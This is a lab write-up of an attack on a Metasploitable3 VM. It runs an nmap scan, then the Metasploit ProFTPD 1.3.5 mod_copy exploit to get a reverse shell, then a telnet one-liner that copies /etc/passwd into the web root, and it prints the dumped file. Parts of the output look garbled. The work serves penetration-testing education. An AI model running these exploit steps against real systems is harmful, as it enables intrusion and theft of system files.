

Phase 1:

Setup metasploitable3 vm using vagrant. Configured KaliOS and metasploitable3 to use bridged networking. Installed Metasploit-Framework on KaliOS.

Reconnaissance:

Nmap victim:

```
└─$ sudo nmap -sV -sS 10.80.35.230 -DB ID
sudo: unable to resolve host kalimachine: Name or service not known
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-30 13:03 EDT
Nmap scan report for 10.80.35.230
Host is up (0.00064s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          ProFTPD 1.3.5
22/tcp    open  ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.7
445/tcp    open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp    open  ipp          CUPS 1.7
3000/tcp   closed ppp          session type (SMB, MySQL, Meterpreter, etc)
3306/tcp   open  mysql        MySQL (unauthorized)
8080/tcp   open  http         Jetty 8.1.7.v20120910
8181/tcp   closed intermapper
MAC Address: 08:00:27:B2:CE:E0 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: 127.0.2.1, METASPLOITABLE3-UB1404; OSs: Unix, Linux; CPE : cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.53 seconds
```

Through nmap, we can use versions to google CVEs and check if a service is vulnerable. Starting off with [ProFTPD](#), we can see that code execution was found to be a vulnerability:

Vulnerabilities by impact types

Year	Code Execution	Bypass	Privilege Escalation	Denial of Service	Information Leak
2015	0	0	0	0	0
2019	1	0	0	1	1

Now we search for vulnerabilities using Metasploit:

```
msf6 > search ProFTPD 1.3.5

Matching Modules

#  Name                                     Disclosure Date  Rank   Check  Description
-  -                                     -              -      -      -
0  exploit/unix/ftp/proftpd_modcopy_exec  2015-04-22      excellent Yes     ProFTPD 1.3.5 Mod_Copy Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_modcopy_exec
```

Exploit module for ProFTPD was found.

Run the exploit after setting it up:

```
CHOST      File Actions no The local client address
CPORT      no The local client port
Proxies     PORT no A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS      10.80.35.230 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT      80 yes HTTP port (TCP)
RPORT_FTP   21 yes FTP port
SITEPATH    /var/www yes Absolute writable website path
SSL         false no Negotiate SSL/TLS for outgoing connections
TARGETURI   / yes Base path to the website
TMPPATH     /tmp yes Absolute writable path
VHOST       no HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):
  Name      Current Setting  Required  Description
  --      -
LHOST      10.80.35.234  yes       The listen address (an interface may be specified)
LPORT      4444             yes       The listen port

Exploit target:
  Id  Name
  --  --
  0   ProFTPD 1.3.5

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set rhosts 10.80.35.230
rhosts => 10.80.35.230
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
SITEPATH => /var/www/html
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run

[*] Started reverse TCP handler on 10.80.35.234:4444
[*] 10.80.35.230:80 - 10.80.35.230:21 - Connected to FTP server
[*] 10.80.35.230:80 - 10.80.35.230:21 - Sending copy commands to FTP server
[*] 10.80.35.230:80 - Executing PHP payload /LPZnFIL.php
[*] 10.80.35.230:80 - Deleted /var/www/html/LPZnFIL.php
[*] Command shell session 1 opened (10.80.35.234:4444 -> 10.80.35.230:42041) at 2025-04-30 13:28:25 -0400

ls
chat
drupal
payroll_app.php
phpmyadmin
```

Reverse shell achieved.

Now that we have obtained access, lets create a script that works as a proof of concept by dumping passwd.

Script 1 liner:

```
{ echo "site cpfr /etc/passwd"; sleep 1; echo "site cpto  
/var/www/html/test.php"; sleep 1; echo "quit"; } | telnet 10.80.35.230 21
```

```
-$ ./script.sh
Trying 10.80.35.230 ...
Connected to 10.80.35.230.
Escape character is '^]'.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.80.35.230]
350 File or directory exists, ready for destination name
250 Copy successful
Connection closed by foreign host.
```

```
10.80.35.230/test.php
Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var
/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool
/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var
/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats
Bug-Reporting System (admin)/:/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101:/var
/lib/libuuid:syslog:x:101:104:/home/syslog:/bin/false messagebus:x:102:106:/var/run/dbus:/bin/false sshd:x:103:65534:/var/run/sshd:/usr/sbin/nologin
statd:x:104:65534:/var/lib/nfs:/bin/false vagrant:x:900:900:vagrant:/home/vagrant:/bin/bash dirmngr:x:105:111:/var/cache/dirmngr:/bin/sh
leia_organ:x:1111:100:/home/leia_organ:/bin/bash luke_skywalker:x:1112:100:/home/luke_skywalker:/bin/bash han_solo:x:1113:100:/home/han_solo:
/bin/bash artoo_detoo:x:1114:100:/home/artoo_detoo:/bin/bash c_three_pio:x:1115:100:/home/c_three_pio:/bin/bash ben_kenobi:x:1116:100:/home
/ben_kenobi:/bin/bash darth_vader:x:1117:100:/home/darth_vader:/bin/bash anakin_skywalker:x:1118:100:/home/anakin_skywalker:/bin/bash
jarjar_binks:x:1119:100:/home/jarjar_binks:/bin/bash lando_calrissian:x:1120:100:/home/lando_calrissian:/bin/bash boba_fett:x:1121:100:/home
/boba_fett:/bin/bash jabba_hutt:x:1122:100:/home/jabba_hutt:/bin/bash greedo:x:1123:100:/home/greedo:/bin/bash chewbacca:x:1124:100:/home
/chewbacca:/bin/bash kylo_ren:x:1125:100:/home/kylo_ren:/bin/bash mysql:x:106:112:MySQL Server:/nonexistent:/bin/false avahi:x:107:114:Avahi
mDNS daemon:/var/run/avahi-daemon:/bin/false colord:x:108:116:colord colour management daemon:/var/lib/colord:/bin/false
```